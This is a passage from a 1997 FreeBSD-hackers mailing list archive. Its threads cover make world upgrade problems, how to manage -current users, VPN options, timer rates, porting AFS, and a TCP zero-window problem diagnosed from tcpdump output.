Precedence: bulk > directories to make them group bin. What I want to know is, is this an > oversight, bug, or feature? http://www.freebsd.org/search.html Search the mailing lists - this has truly been discussed to death. No offense to Matthew intended, but people really need to start using this feature more as it's really kinda starting to suck that every time we have a bootstrapping issue like this, it generates hundreds of identical questions for months. :-( Jordan From owner-freebsd-hackers Tue Oct 7 21:53:50 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id VAA18533 for hackers-outgoing; Tue, 7 Oct 1997 21:53:50 -0700 (PDT) (envelope-from owner-freebsd-hackers) Received: from time.cdrom.com (time.cdrom.com [204.216.27.226]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id VAA18528 for ; Tue, 7 Oct 1997 21:53:48 -0700 (PDT) (envelope-from jkh@time.cdrom.com) Received: from time.cdrom.com (localhost.cdrom.com [127.0.0.1]) by time.cdrom.com (8.8.7/8.6.9) with ESMTP id VAA22728; Tue, 7 Oct 1997 21:53:12 -0700 (PDT) To: hackers@FreeBSD.ORG cc: "Matthew D. Fuller" Subject: Re: group assignments from make world. In-reply-to: Your message of "Tue, 07 Oct 1997 21:45:35 CDT." Date: Tue, 07 Oct 1997 21:53:12 -0700 Message-ID: <22723.876286392@time.cdrom.com> From: "Jordan K. Hubbard" Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk Just a P.S. to my previous message, I'd should also note that I'd be the first to suggest that we should add a "special issues for -current and -stable users" to the FAQ it I didn't already know from bitter experience that people stopped reading the FAQ long ago (this probably not even being entirely their fault since there have been long periods where this resource was essentially so stale as to be untrustworthy). Any suggestions? Do people really want to see a "general information for -[current|stable] users" which is posted on a regular (monthly?) basis to -[current|stable]? I can't really think that anything else is going to work, and even that suggestion is imperfect (not everyone who posts also subscribes). As things originally started out, folks weren't even supposed to track a branch if they didn't subscribe to the appropriate mailing list and wern't willing to use all available means before distracting the developers with their questions about such work in progress (for the same reasons that you don't stand behind your plumber the whole time he's working on your sink going "so, whatcha doing? Is that a pipe? How does one fix a sink, anyway?" :). Unfortunately, "enforcing" that model also pretty much became impossible the minute cvsup made it child's play to track a branch (it's all John Polstra's bloody fault, that's it! ;-) and, taking some of the blame myself, I sort of doc'd it all in the handbook and introduced more people to the concept. I don't mean to sound like Cassandra here, but I really do think that we need to figure out some other way of dealing with this extra tech support issue or, at the current rate of increase, all development time will soon be subsumed entirely by the task of simply reading email, FreeBSD's principle developers getting about as much actual, useful work done as the U.S. congress. :-( Maybe it's time to institute something a little bit closer to the XFree86 Project's BETA program? Not all the way in that direction, where early access is really restricted quite tightly, but something which might require one to jump through just a few more hoops first (at a minimum, you'd need to subscribe to the appropriate list and, if you left it, so would your "license to cvsup" :-). Too draconian? Not draconian enough? :-) Jordan From owner-freebsd-hackers Tue Oct 7 21:58:16 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id VAA18779 for hackers-outgoing; Tue, 7 Oct 1997 21:58:16 -0700 (PDT) (envelope-from owner-freebsd-hackers) Received: from word.smith.net.au (vh1.gsoft.com.au [203.38.152.122]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id VAA18764 for ; Tue, 7 Oct 1997 21:57:55 -0700 (PDT) (envelope-from mike@word.smith.net.au) Received: from word.smith.net.au (localhost.gsoft.com.au [127.0.0.1]) by word.smith.net.au (8.8.7/8.8.5) with ESMTP id OAA00806; Wed, 8 Oct 1997 14:22:35 +0930 (CST) Message-Id: <199710080452.OAA00806@word.smith.net.au> X-Mailer: exmh version 2.0zeta 7/24/97 To: Wm Brian McCane cc: hackers@FreeBSD.ORG Subject: Re: SKIP In-reply-to: Your message of "Mon, 06 Oct 1997 17:58:18 EST." <199710062258.RAA04576@bmccane.uit.net> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Wed, 08 Oct 1997 14:22:35 +0930 From: Mike Smith Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk > I asked a while back about setting up a Virtual Private Network. > Many people suggested SKIP and 1 suggested swIPe. I have been looking at > the SKIP documentation, and I think we may have had a slight misunderstanding. That's OK. Once you understand routing a little better, you'll be fine. > From what I have read so far in the SKIP docs, it is to connect > Machine A to Machine B via a "secure" pipe. And I have seen a little > bit about possible connection Machine A to LAN C. But what I need to do > is connect LAN C to LAN D. Is this possible with SKIP, swIPe, or a > player to be named later? You use a secure pipe between two machines, and route all traffic between the networks in question via the pipe. mike From owner-freebsd-hackers Tue Oct 7 23:09:16 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id XAA23077 for hackers-outgoing; Tue, 7 Oct 1997 23:09:16 -0700 (PDT) (envelope-from owner-freebsd-hackers) Received: from proxy3.ba.best.com (root@proxy3.ba.best.com [206.184.139.14]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id XAA23072 for ; Tue, 7 Oct 1997 23:09:14 -0700 (PDT) (envelope-from mdean@shellx.best.com) Received: from shellx.best.com (shellx.best.com [206.86.0.11]) by proxy3.ba.best.com (8.8.7/8.8.BEST) with ESMTP id XAA04667; Tue, 7 Oct 1997 23:07:40 -0700 (PDT) Received: from localhost (mdean@localhost) by shellx.best.com (8.8.6/8.8.3) with SMTP id XAA23549; Tue, 7 Oct 1997 23:07:39 -0700 (PDT) Date: Tue, 7 Oct 1997 23:07:39 -0700 (PDT) From: mdean To: Julian Elischer cc: Peter Dufault , hackers@FreeBSD.ORG Subject: Re: A world of unexplored pain. In-Reply-To: <343AE7C6.592990BB@whistle.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk Yes, through the acquire_timer0() call, does anyone know if acquiring the timer at a raised rate for a lengthy perios of time has any detrimental effects? > well for a start in FreeBSD the system provides a way of raising > the hardware clockrate transparently on the fly to do this sort > of thing the PCAUDIO device routinelyu raises the clockrate to > 16000 Hz. > From owner-freebsd-hackers Tue Oct 7 23:09:38 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id XAA23111 for hackers-outgoing; Tue, 7 Oct 1997 23:09:38 -0700 (PDT) (envelope-from owner-freebsd-hackers) Received: (from hsu@localhost) by hub.freebsd.org (8.8.7/8.8.7) id XAA23102 for hackers; Tue, 7 Oct 1997 23:09:36 -0700 (PDT) (envelope-from hsu) Date: Tue, 7 Oct 1997 23:09:36 -0700 (PDT) From: Jeffrey Hsu Message-Id: <199710080609.XAA23102@hub.freebsd.org> To: hackers Subject: Re: Building parallel "Beowulf-style" supercomputers with FreeBSD Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk > How about "The Swarm" then? Check out http://www.santafe.edu/projects/swarm. Someone should make a FreeBSD Port (tm) out of it. From owner-freebsd-hackers Tue Oct 7 23:14:12 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id XAA23399 for hackers-outgoing; Tue, 7 Oct 1997 23:14:12 -0700 (PDT) (envelope-from owner-freebsd-hackers) Received: from proxy4.ba.best.com (root@proxy4.ba.best.com [206.184.139.15]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id XAA23394 for ; Tue, 7 Oct 1997 23:14:10 -0700 (PDT) (envelope-from mdean@shellx.best.com) Received: from shellx.best.com (shellx.best.com [206.86.0.11]) by proxy4.ba.best.com (8.8.7/8.8.BEST) with ESMTP id XAA27464; Tue, 7 Oct 1997 23:12:55 -0700 (PDT) Received: from localhost (mdean@localhost) by shellx.best.com (8.8.6/8.8.3) with SMTP id XAA26325; Tue, 7 Oct 1997 23:12:54 -0700 (PDT) Date: Tue, 7 Oct 1997 23:12:54 -0700 (PDT) From: mdean To: "Jordan K. Hubbard" cc: "Matthew D. Fuller" , hackers@FreeBSD.ORG Subject: Re: group assignments from make world. In-Reply-To: <22646.876285274@time.cdrom.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk > > No offense to Matthew intended, but people really need to start using > this feature more as it's really kinda starting to suck that every > time we have a bootstrapping issue like this, it generates hundreds of > identical questions for months. :-( Perhaps this could be made more active. You could put updated docs in the source tree during cvsup about these little points, then part of make world could be to interactively read the little notes that haven't been read to date, eh? From owner-freebsd-hackers Tue Oct 7 23:17:08 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id XAA23580 for hackers-outgoing; Tue, 7 Oct 1997 23:17:08 -0700 (PDT) (envelope-from owner-freebsd-hackers) Received: from shell.futuresouth.com (shell.futuresouth.com [207.141.254.20]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id XAA23575 for ; Tue, 7 Oct 1997 23:17:04 -0700 (PDT) (envelope-from fullermd@futuresouth.com) Received: from shell.futuresouth.com (mail.futuresouth.com [207.141.254.21]) by shell.futuresouth.com (8.8.5/8.8.5) with SMTP id BAA12280; Wed, 8 Oct 1997 01:16:53 -0500 (CDT) Date: Wed, 8 Oct 1997 01:16:53 -0500 (CDT) From: "Matthew D. Fuller" To: mdean cc: "Jordan K. Hubbard" , hackers@FreeBSD.ORG Subject: Re: group assignments from make world. In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk On Tue, 7 Oct 1997, mdean wrote: > > > > No offense to Matthew intended, but people really need to start using > > this feature more as it's really kinda starting to suck that every > > time we have a bootstrapping issue like this, it generates hundreds of > > identical questions for months. :-( > > Perhaps this could be made more active. You could put updated docs in the > source tree during cvsup about these little points, then part of make world > could be to interactively read the little notes that haven't been read to > date, eh? Prob wouldn't go over too well; I know I start a make world before I go to bed, and I'd rather not have it get 1/10 of the way thru, and I don't find out until I get home from work the next day, and waste a whole day doing a several hour task. But it WOULD be effective... Although it could quickly become about as effective as warnings in /etc/motd. *-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-* | FreeBSD; the way computers were meant to be | * FreeBSD: turning PCs into workstations * | Windows: turning workstations into typewriters | * fullermd@futuresouth.com :-} MAtthew Fuller * | http://keystone.westminster.edu/~fullermd | *-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-* From owner-freebsd-hackers Tue Oct 7 23:21:38 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id XAA23762 for hackers-outgoing; Tue, 7 Oct 1997 23:21:38 -0700 (PDT) (envelope-from owner-freebsd-hackers) Received: from silvia.HIP.Berkeley.EDU (ala-ca9-32.ix.netcom.com [207.93.143.96]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id XAA23757 for ; Tue, 7 Oct 1997 23:21:35 -0700 (PDT) (envelope-from asami@vader.cs.berkeley.edu) Received: (from asami@localhost) by silvia.HIP.Berkeley.EDU (8.8.7/8.6.9) id XAA05838; Tue, 7 Oct 1997 23:21:22 -0700 (PDT) Date: Tue, 7 Oct 1997 23:21:22 -0700 (PDT) Message-Id: <199710080621.XAA05838@silvia.HIP.Berkeley.EDU> To: jkh@time.cdrom.com CC: hackers@freebsd.org, fullermd@futuresouth.com In-reply-to: <22723.876286392@time.cdrom.com> (jkh@time.cdrom.com) Subject: Re: group assignments from make world. From: asami@cs.berkeley.edu (Satoshi Asami) Sender: owner-freebsd-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk * Any suggestions? Do people really want to see a "general information Well, for things as simple as this, maybe we can add a default "pre-world" target or something that tests /etc against possible outdated-ness. Satoshi From owner-freebsd-hackers Tue Oct 7 23:24:20 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id XAA23952 for hackers-outgoing; Tue, 7 Oct 1997 23:24:20 -0700 (PDT) (envelope-from owner-freebsd-hackers) Received: from Campino.Informatik.RWTH-Aachen.DE (campino.Informatik.RWTH-Aachen.DE [137.226.116.240]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id XAA23944 for ; Tue, 7 Oct 1997 23:24:17 -0700 (PDT) (envelope-from kuku@gilberto.physik.RWTH-Aachen.DE) Received: from gil.physik.rwth-aachen.de (gilberto.physik.rwth-aachen.de [137.226.30.2]) by Campino.Informatik.RWTH-Aachen.DE (8.8.7/RBI-Z13) with ESMTP id IAA03958; Wed, 8 Oct 1997 08:24:26 +0200 (MET DST) Received: (from kuku@localhost) by gil.physik.rwth-aachen.de (8.8.5/8.6.9) id IAA05136; Wed, 8 Oct 1997 08:32:22 +0200 (MEST) Message-ID: <19971008083222.16470@gil.physik.rwth-aachen.de> Date: Wed, 8 Oct 1997 08:32:22 +0200 From: Christoph Kukulies To: Chris Csanady Cc: "David E. Cross" , Christoph Kukulies , freebsd-hackers@freefall.FreeBSD.org Subject: Re: afs - is there an implementation for FreeBSD? References: <199710080231.VAA00673@bob.scl.ameslab.gov> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 0.81e In-Reply-To: <199710080231.VAA00673@bob.scl.ameslab.gov>; from Chris Csanady on Tue, Oct 07, 1997 at 09:31:36PM -0500 Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk On Tue, Oct 07, 1997 at 09:31:36PM -0500, Chris Csanady wrote: > > >On Tue, 7 Oct 1997, Christoph Kukulies wrote: > > > >> > >> As the subject already asks: Is anyone running AFS successfully under > >> FreeBSD? > > > >The last I have heard on this, the answer is no. There was someone > >working at Intel on this I think (working unofficially). I would > >be interested in taking up the torch on this (through my school, I already > >have a source license, I would just need 'permission' from TransARC/IBM to > >do the port). If the former maintainer could get back to ne, I would > >appreeciate, I have lost his email address. > > Why not just port the NetBSD client then? Last I used it, it worked very > well. Browsing the mailing list archives I came across a comment by Terry saying that it would require some changes in the NFS cookie handling. > > Chris > > >-- > >David Cross > >ACS Consultant > > > > -- --Chris Christoph P. U. Kukulies kuku@gil.physik.rwth-aachen.de From owner-freebsd-hackers Tue Oct 7 23:25:52 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id XAA24015 for hackers-outgoing; Tue, 7 Oct 1997 23:25:52 -0700 (PDT) (envelope-from owner-freebsd-hackers) Received: from earth.mat.net (chuckr@earth.mat.net [206.246.122.2]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id XAA24010 for ; Tue, 7 Oct 1997 23:25:49 -0700 (PDT) (envelope-from chuckr@mat.net) Received: from localhost (chuckr@localhost) by earth.mat.net (8.8.7/8.6.12) with SMTP id CAA21797; Wed, 8 Oct 1997 02:25:43 -0400 (EDT) Date: Wed, 8 Oct 1997 02:25:42 -0400 (EDT) From: Chuck Robey To: "Jordan K. Hubbard" cc: hackers@FreeBSD.ORG, "Matthew D. Fuller" Subject: Re: group assignments from make world. In-Reply-To: <22723.876286392@time.cdrom.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk On Tue, 7 Oct 1997, Jordan K. Hubbard wrote: > > I don't mean to sound like Cassandra here, but I really do think that > we need to figure out some other way of dealing with this extra tech > support issue or, at the current rate of increase, all development > time will soon be subsumed entirely by the task of simply reading > email, FreeBSD's principle developers getting about as much actual, > useful work done as the U.S. congress. :-( > > Maybe it's time to institute something a little bit closer to the > XFree86 Project's BETA program? Not all the way in that direction, > where early access is really restricted quite tightly, but something > which might require one to jump through just a few more hoops first > (at a minimum, you'd need to subscribe to the appropriate list and, if > you left it, so would your "license to cvsup" :-). Too draconian? > Not draconian enough? :-) I'm thinking that were giving misleading signals to folks, Jordan. With one hand we're making it easier than ever to run current (WC publishes snaps) and the documentation really isn't scary enough, in warning about the problems involved with being a current user. The XFree86 folks, who have that beta program, are NOT so anxious as we are to have folks running their betas, and their docs say so. If you want to publish some more reminders, or even have another list that has the bootstrap gotchas in it, that's fine, but you have to limit just how much you jump on people who have problems, unless you're willing to restrict access to current a little more tightly. I'm not saying to do it as tight as XFree86, but maybe be a little less open about running current. It just seems that FreeBSD's attitude about current users could be construed as being a little schizophrenic (closer -- closer -- closer -- GET AWAY! GET AWAY! GET AWAY!) > > Jordan > From owner-freebsd-hackers Tue Oct 7 23:29:59 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id XAA24226 for hackers-outgoing; Tue, 7 Oct 1997 23:29:59 -0700 (PDT) (envelope-from owner-freebsd-hackers) Received: from panda.hilink.com.au (panda.hilink.com.au [203.8.15.25]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id XAA24218 for ; Tue, 7 Oct 1997 23:29:55 -0700 (PDT) (envelope-from danny@panda.hilink.com.au) Received: (from danny@localhost) by panda.hilink.com.au (8.8.5/8.8.5) id QAA06836; Wed, 8 Oct 1997 16:28:25 +1000 (EST) Date: Wed, 8 Oct 1997 16:28:22 +1000 (EST) From: "Daniel O'Callaghan" To: Mike Smith cc: Wm Brian McCane , hackers@FreeBSD.ORG Subject: Re: SKIP In-Reply-To: <199710080452.OAA00806@word.smith.net.au> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk > > I asked a while back about setting up a Virtual Private Network. > > Many people suggested SKIP and 1 suggested swIPe. I have been looking at > > the SKIP documentation, and I think we may have had a slight misunderstanding. There is ipip.tar.gz which you can find in ftp.hilink.com.au:/pub/FreeBSD. It just needs an encryption module glued into the appropriate place. Should not be too hard, but I have not yet got to it. Danny From owner-freebsd-hackers Tue Oct 7 23:30:42 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id XAA24302 for hackers-outgoing; Tue, 7 Oct 1997 23:30:42 -0700 (PDT) (envelope-from owner-freebsd-hackers) Received: from alpo.whistle.com (alpo.whistle.com [207.76.204.38]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id XAA24294 for ; Tue, 7 Oct 1997 23:30:39 -0700 (PDT) (envelope-from julian@whistle.com) Received: (from daemon@localhost) by alpo.whistle.com (8.8.5/8.8.5) id XAA07775; Tue, 7 Oct 1997 23:28:39 -0700 (PDT) Received: from current1.whistle.com(207.76.205.22) via SMTP by alpo.whistle.com, id smtpd007773; Wed Oct 8 06:28:38 1997 Date: Tue, 7 Oct 1997 23:27:32 -0700 (PDT) From: Julian Elischer To: mdean cc: Peter Dufault , hackers@FreeBSD.ORG Subject: Re: A world of unexplored pain. In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk On Tue, 7 Oct 1997, mdean wrote: > > Yes, through the acquire_timer0() call, does anyone know if acquiring the > timer at a raised rate for a lengthy perios of time has any detrimental > effects? > > > well for a start in FreeBSD the system provides a way of raising > > the hardware clockrate transparently on the fly to do this sort > > of thing the PCAUDIO device routinelyu raises the clockrate to > > 16000 Hz. > > > > OIf what you plan to do canbe done in a few instructiosn then, NO, there is no detrimental effect that I have ever seen, we run it here at 1KHz and 10KHz, and have seen no problems. clock is at a high priority, so jitter should be low. Just remember to keep what you want to a minimum, and do all the rest of the work elsewhere. From owner-freebsd-hackers Tue Oct 7 23:42:57 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id XAA25150 for hackers-outgoing; Tue, 7 Oct 1997 23:42:57 -0700 (PDT) (envelope-from owner-freebsd-hackers) Received: from sendero-ppp.i-connect.net (sendero-ppp.i-Connect.Net [206.190.143.100]) by hub.freebsd.org (8.8.7/8.8.7) with SMTP id XAA25145 for ; Tue, 7 Oct 1997 23:42:53 -0700 (PDT) (envelope-from shimon@sendero-ppp.i-connect.net) Received: (qmail 23714 invoked by uid 1000); 8 Oct 1997 06:43:20 -0000 Message-ID: X-Mailer: XFMail 1.2-alpha-100597 [p0] on FreeBSD X-Priority: 3 (Normal) Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 8bit MIME-Version: 1.0 In-Reply-To: <22723.876286392@time.cdrom.com> Date: Tue, 07 Oct 1997 23:43:20 -0700 (PDT) Organization: Atlas Telecom From: Simon Shapiro To: "Jordan K. Hubbard" Subject: Re: group assignments from make world. Cc: "Matthew D. Fuller" , hackers@FreeBSD.ORG Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk Hi "Jordan K. Hubbard"; On 08-Oct-97 you wrote: I think that any measure you come up with will be like the speed limit laws: It will be somewhat effective at first and as time goes by, less and less so. As anecomer myself, I can testify that, yes, I have consumed an inordinate amount of time of many, but I still hope i can return the investment one day :-) I also see something else; Many times a question will trigger a discussion that end up way out (compared to the original subject). This is good, I think, but increases the volume on the lists. If you are to categorize access, how will you do that? Will you restrict some? Based on what criteria? I think you should chalk this issue up to ``cost of doing busines''. BTW, the {Open,Net} lists are much quiter, or am I wrong? --- Sincerely Yours, Simon Shapiro Atlas Telecom Senior Architect 14355 SW Allen Blvd., Suite 130 Beaverton OR 97005 Shimon@i-Connect.Net Voice: 503.799.2313 From owner-freebsd-hackers Tue Oct 7 23:48:31 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id XAA25596 for hackers-outgoing; Tue, 7 Oct 1997 23:48:31 -0700 (PDT) (envelope-from owner-freebsd-hackers) Received: from usr03.primenet.com (tlambert@usr03.primenet.com [206.165.6.203]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id XAA25587 for ; Tue, 7 Oct 1997 23:48:26 -0700 (PDT) (envelope-from tlambert@usr03.primenet.com) Received: (from tlambert@localhost) by usr03.primenet.com (8.8.5/8.8.5) id XAA18460; Tue, 7 Oct 1997 23:48:16 -0700 (MST) From: Terry Lambert Message-Id: <199710080648.XAA18460@usr03.primenet.com> Subject: Re: afs - is there an implementation for FreeBSD? To: ccsanady@bob.scl.ameslab.gov (Chris Csanady) Date: Wed, 8 Oct 1997 06:48:15 +0000 (GMT) Cc: dec@phoenix.its.rpi.edu, kuku@gilberto.physik.RWTH-Aachen.DE, freebsd-hackers@freefall.FreeBSD.org In-Reply-To: <199710080231.VAA00673@bob.scl.ameslab.gov> from "Chris Csanady" at Oct 7, 97 09:31:36 pm X-Mailer: ELM [version 2.4 PL23] Content-Type: text Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk > >> As the subject already asks: Is anyone running AFS successfully under > >> FreeBSD? > > > >The last I have heard on this, the answer is no. There was someone > >working at Intel on this I think (working unofficially). I would > >be interested in taking up the torch on this (through my school, I already > >have a source license, I would just need 'permission' from TransARC/IBM to > >do the port). If the former maintainer could get back to ne, I would > >appreeciate, I have lost his email address. > > Why not just port the NetBSD client then? Last I used it, it worked very > well. 1) The VM is different. 2) Glue is necessary to invert the cookie arguments to VOP_READDIR, which are different for NetBSD/OpenBSD. Terry Lambert terry@lambert.org --- Any opinions in this posting are my own and not those of my present or previous employers. From owner-freebsd-hackers Tue Oct 7 23:58:13 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id XAA26062 for hackers-outgoing; Tue, 7 Oct 1997 23:58:13 -0700 (PDT) (envelope-from owner-freebsd-hackers) Received: from sax.sax.de (sax.sax.de [193.175.26.33]) by hub.freebsd.org (8.8.7/8.8.7) with SMTP id XAA26057 for ; Tue, 7 Oct 1997 23:58:08 -0700 (PDT) (envelope-from j@uriah.heep.sax.de) Received: (from uucp@localhost) by sax.sax.de (8.6.12/8.6.12-s1) with UUCP id IAA08075; Wed, 8 Oct 1997 08:57:37 +0200 Received: (from j@localhost) by uriah.heep.sax.de (8.8.7/8.8.5) id IAA13965; Wed, 8 Oct 1997 08:47:17 +0200 (MET DST) Message-ID: <19971008084717.VY20773@uriah.heep.sax.de> Date: Wed, 8 Oct 1997 08:47:17 +0200 From: j@uriah.heep.sax.de (J Wunsch) To: hackers@FreeBSD.ORG Cc: jonny@coppe.ufrj.br (Joao Carlos Mendes Luis) Subject: Re: TCP problem References: <199710080122.XAA00461@gaia.coppe.ufrj.br> X-Mailer: Mutt 0.60_p2-3,5,8-9 Mime-Version: 1.0 X-Phone: +49-351-2012 669 X-PGP-Fingerprint: DC 47 E6 E4 FF A6 E9 8F 93 21 E0 7D F9 12 D6 4E Reply-To: joerg_wunsch@uriah.heep.sax.de (Joerg Wunsch) In-Reply-To: <199710080122.XAA00461@gaia.coppe.ufrj.br>; from Joao Carlos Mendes Luis on Oct 7, 1997 23:22:56 -0200 Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk I hope Bill Fenner will jump in with better guesses than mine... :) As Joao Carlos Mendes Luis wrote: > 22:49:35.574865 146.164.5.200.2038 > 146.164.53.91.19: S 1153321686:1153321686(0) win 65535 (DF) [tos 0x10] (ttl 64, id 38631) Btw., you should run tcpdump with a larger snaplen (-s 200 for example). The "|tcp" above means you don't see the complete packet options displayed. Probably not very important here, though. > 22:49:35.576498 146.164.53.91.19 > 146.164.5.200.2038: S 2381730138:2381730138(0) ack 1153321687 win 31744 (ttl 63, id 13086) > 22:49:35.576825 146.164.5.200.2038 > 146.164.53.91.19: . ack 1 win 164 (DF) [tos 0x10] (ttl 64, id 38632) What looks interesting to me is that, while the SYN packet offered a window of 64 K, the first data packet only offers 164 bytes. And: > 22:49:35.614489 146.164.53.91.19 > 146.164.5.200.2038: P 1:75(74) ack 1 win 31744 (DF) [tos 0x10] (ttl 63, id 13088) > 22:49:35.804015 146.164.5.200.2038 > 146.164.53.91.19: . ack 75 win 90 (DF) [tos 0x10] (ttl 64, id 38638) > 22:49:36.646712 146.164.53.91.19 > 146.164.5.200.2038: P 75:165(90) ack 1 win 31744 [tos 0x10] (ttl 63, id 13091) > 22:49:36.804033 146.164.5.200.2038 > 146.164.53.91.19: . ack 165 win 0 (DF) [tos 0x10] (ttl 64, id 38646) ...none of these bytes are claimed to be delivered to the application, so the window goes 0 for some reason. You see it stopping always at the same point since it's probably always offering exactly the same 164 bytes in the first data packet. You might get some hints out of `netstat -s', perhaps. What makes me wonder is why it's offering a 64 KB window in the first SYN at all? If i try it here, it only offers 16 KB. Did you manipulate the TCP-related kernel variables? I remember there was another bug report yesterday where increasing some TCP parameter yielded an unusable connection. I think Bill has fixed something in this area yesterday. -- cheers, J"org joerg_wunsch@uriah.heep.sax.de -- http://www.sax.de/~joerg/ -- NIC: JW11-RIPE Never trust an operating system you don't have sources for. ;-) From owner-freebsd-hackers Tue Oct 7 23:58:58 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id XAA26122 for hackers-outgoing; Tue, 7 Oct 1997 23:58:58 -0700 (PDT) (envelope-from owner-freebsd-hackers) Received: from sax.sax.de (sax.sax.de [193.175.26.33]) by hub.freebsd.org (8.8.7/8.8.7) with SMTP id XAA26116 for ; Tue, 7 Oct 1997 23:58:54 -0700 (PDT) (envelope-from j@uriah.heep.sax.de) Received: (from uucp@localhost) by sax.sax.de (8.6.12/8.6.12-s1) with UUCP id IAA08090; Wed, 8 Oct 1997 08:58:21 +0200 Received: (from j@localhost) by uriah.heep.sax.de (8.8.7/8.8.5) id IAA13975; Wed, 8 Oct 1997 08:49:15 +0200 (MET DST) Message-ID: <19971008084915.NW06360@uriah.heep.sax.de> Date: Wed, 8 Oct 1997 08:49:15 +0200 From: j@uriah.heep.sax.de (J Wunsch) To: hackers@FreeBSD.ORG Cc: fullermd@futuresouth.com (Matthew D. Fuller) Subject: Re: group assignments from make world. References: X-Mailer: Mutt 0.60_p2-3,5,8-9 Mime-Version: 1.0 X-Phone: +49-351-2012 669 X-PGP-Fingerprint: DC 47 E6 E4 FF A6 E9 8F 93 21 E0 7D F9 12 D6 4E Reply-To: joerg_wunsch@uriah.heep.sax.de (Joerg Wunsch) In-Reply-To: ; from Matthew D. Fuller on Oct 7, 1997 21:45:35 -0500 Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk As Matthew D. Fuller wrote: > Here's a kinda unrelated thought. Would it be a good idea to put a line > in the Makefile for make world to have it automatically script to a file > for logging purposes? Prob not, but it's a thought... Why don't you do it yourself? I always run long-lasting make's like make -k blahblah >& /tmp/makelog & and tail -f /tmp/makelog -- cheers, J"org joerg_wunsch@uriah.heep.sax.de -- http://www.sax.de/~joerg/ -- NIC: JW11-RIPE Never trust an operating system you don't have sources for. ;-) From owner-freebsd-hackers Wed Oct 8 01:08:58 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id BAA01655 for hackers-outgoing; Wed, 8 Oct 1997 01:08:58 -0700 (PDT) (envelope-from owner-freebsd-hackers) Received: from zwei.siemens.at (zwei.siemens.at [193.81.246.12]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id BAA01566; Wed, 8 Oct 1997 01:07:58 -0700 (PDT) (envelope-from lada@ws6303.gud.siemens.at) Received: from ws6303-f (root@firix [10.1.143.100]) by zwei.siemens.at with ESMTP id KAA24956; Wed, 8 Oct 1997 10:04:48 +0200 (MET DST) Received: from ws6423.gud.siemens.at (ws6423-f) by ws6303-f with ESMTP (1.40.112.8/16.2) id AA036217854; Wed, 8 Oct 1997 10:04:15 +0200 Received: by ws6423.gud.siemens.at (SMI-8.6/SMI-SVR4) id KAA19138; Wed, 8 Oct 1997 10:03:07 +0200 Date: Wed, 8 Oct 